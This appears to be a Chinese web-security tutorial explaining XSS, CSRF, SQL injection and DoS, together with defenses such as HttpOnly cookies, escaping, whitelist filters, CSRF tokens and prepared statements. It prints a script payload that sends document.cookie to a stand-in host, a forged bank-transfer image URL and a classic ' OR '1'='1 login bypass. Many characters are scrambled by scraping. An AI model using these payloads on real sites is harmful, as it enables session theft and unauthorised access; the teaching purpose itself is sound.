跨站脚本攻击(Cross-Site Scripting, XSS),能够将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。javascript
例若有一个论坛网站,攻击者能够在上面发布如下内容:html
<script>location.href="//domain.com/?c=" + document.cookie</script>
复制代码
以后该内容可能会被渲染成如下形式:java
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
复制代码
另外一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前做用域的 Cookie。若是这个论坛网站经过 Cookie 管理用户登陆状态,那么攻击者就能够经过这个 Cookie 登陆被攻击者的帐号了。数据库
设置了 HttpOnly 的 Cookie 能够防止 JavaScript 脚本调用,就没法经过 document.cookie 获取用户 Cookie 信息。浏览器
例如将 < 转义为 <,将 > 转义为 >,从而避免 HTML 和 Jascript 代码的运行。安全
富文本编辑器容许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提升了 XSS 攻击的可能性。bash
富文本编辑器一般采用 XSS filter 来防范 XSS 攻击,能够定义一些标签白名单或者黑名单,从而不容许有攻击性的 HTML 代码的输入。服务器
如下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。cookie
<h1 id="title">XSS Demo</h1>
<p class="text-center">
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
复制代码
<h1>XSS Demo</h1>
<p>
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
复制代码
跨站请求伪造(Cross-site request forgery,CSRF),是攻击者经过一些技术手段欺骗用户的浏览器去访问一个本身曾经认证过的网站并执行一些操做(如发邮件,发消息,甚至财产操做如转帐和购买商品)。因为浏览器曾经认证过,因此被访问的网站会认为是真正的用户操做而去执行。
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
假如一家银行用以执行转帐操做的 URL 地址以下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
复制代码
那么,一个恶意攻击者能够在另外一个网站上放置以下代码:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
复制代码
若是有帐户名为 Alice 的用户访问了恶意站点,而她以前刚访问过银行不久,登陆信息还没有过时,那么她就会损失 1000 资金。
这种恶意的网址能够有不少种形式,藏身于网页中的许多地方。此外,攻击者也不须要控制放置恶意网址的网站。例如他能够将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着若是服务器端没有合适的防护措施的话,用户即便访问熟悉的可信网站也有受攻击的危险。
透过例子可以看出,攻击者并不能经过 CSRF 攻击来直接获取用户的帐户控制权,也不能直接窃取用户的任何信息。他们能作到的,是欺骗用户浏览器,让其以用户的名义执行操做。
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,能够极大的防止 CSRF 攻击。
这种办法简单易行,工做量低,仅须要在关键访问处增长一步校验。但这种办法也有其局限性,因其彻底依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并没有法保证来访的浏览器的具体实现,亦没法保证浏览器没有安全漏洞影响到此字段。而且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,而且攻击者没法伪造的数据做为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
由于 CSRF 攻击是在用户无心识的状况下发生的,因此要求用户输入验证码可让用户知道本身正在作的操做。
也能够要求用户输入验证码来进行校验。
服务器上的数据库运行非法的 SQL 语句,主要经过拼接来完成。
例如一个网站登陆验证的 SQL 查询代码为:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
复制代码
若是填入如下内容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
复制代码
那么 SQL 查询字符串为:
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
复制代码
此时无需验证经过就能执行如下查询:
strSQL = "SELECT * FROM users;"
复制代码
Java 中的 PreparedStatement 是预先编译的 SQL 语句,能够传入适当参数而且屡次执行。因为没有拼接的过程,所以能够防止 SQL 注入的发生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
复制代码
将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 能够完成这个功能。
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或中止,致使其正经常使用户没法访问。
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑做为“僵尸”向特定的目标发动“拒绝服务”式攻击。